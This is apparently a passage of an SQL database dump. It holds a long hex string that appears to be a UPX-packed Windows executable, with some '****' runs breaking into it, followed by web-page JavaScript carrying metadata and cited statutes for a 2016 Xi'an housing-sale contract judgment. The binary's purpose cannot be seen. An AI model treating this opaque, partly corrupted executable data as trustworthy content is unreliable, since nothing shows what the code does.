02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72','2018-09-29
08:39:34',0,'web',NULL),(30609698,'059570db-22f2-46bb-960b-a85001060178','$(function(){$(\"#con_llcs\").html(\"浏览：102次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"新城区\",\"法院ID\":\"3035\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":\"1\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"案号\":\"（2016）陕0102民初4498号\",\"不公开理由\":\"\",\"法院地市\":\"西安市\",\"法院省份\":\"陕西\",\"上传日期\":\"\\\/Date(1513872000000)\\\/\",\"文本首部段落原文\":\"\",\"案件类型\":\"2\",\"法院区域\":\"\",\"文书ID\":\"059570db-22f2-46bb-960b-a85001060178\",\"案件名称\":\"原告刘雅君与被告陕西龙扬经济发展有限公司商品房销售合同纠纷一案一审民事判决书\",\"法院名称\":\"西安市新城区人民法院\",\"裁判要旨段原文\":\"\",\"补正文书\":\"2\",\"诉讼记录段原文\":\"原告刘雅君诉被告陕西龙扬经济发展有限公司（以下简称龙扬公司）商品房销售合同纠纷一案，本院受理后，依法组成合议庭，公开开庭进行了审理。原告刘雅君之委托代理人蔡志保、郭霞光，被告龙扬公司之委托代理人许海、于彬到庭参加诉讼。本案现已审理终结\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"原告刘雅君与被告陕西龙扬经济发展有限公司商品房销售合同纠纷一案一审民事判决书\");$(\"#tdSource\").html(\"原告刘雅君与被告陕西龙扬经济发展有限公司商品房销售合同纠纷一案一审民事判决书
（2016）陕0102民初4498号\");$(\"#hidDocID\").val(\"059570db-22f2-46bb-960b-a85001060178\");$(\"#hidCaseName\").val(\"原告刘雅君与被告陕西龙扬经济发展有限公司商品房销售合同纠纷一案一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2016）陕0102民初4498号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"西安市新城区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"3035\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"西安市新城区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"商品房销售合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2016-11-16\" },{ name: \"当事人\", key:
\"appellor\", value: \"刘雅君,陕西龙扬经济发展有限公司\" }],LegalBase:
[{法规名称:\'《中华人民共和国民法通则》\',Items:[{法条名称:\'第一百四十条\',法条内容:\' 第一百四十条
诉讼时效因提起诉讼、当事人一方提出要求或者同意履行义务而中断。从中断时起，诉讼时效期间重新计算。
\'}]},{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第一百零七条\',法条内容:\'
第一百零七条
当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。
\'},{法条名称:\'第一百一十四条第一款\',法条内容:\'
第一百一十四条 当事人可以约定一方违约时应当根据违约情况向对方支付一定数额的违约金，也可以约定因违约产生的损失赔偿额的计算方法。
约定的违约金低于造成的损失的，当事人可以请求人民法院或者仲裁机构予以增加；约定的违约金过分高于造成的损失的，当事人可以请求人民法院或者仲裁机构予以适当减少。
当事人就迟延履行约定违约金的，违约方支付违约金后，还应当履行债务。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"原告刘雅君与被告陕西龙扬经济发展有限公司商品房销售合同纠纷一案一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-12-22\\\\\",\\\\\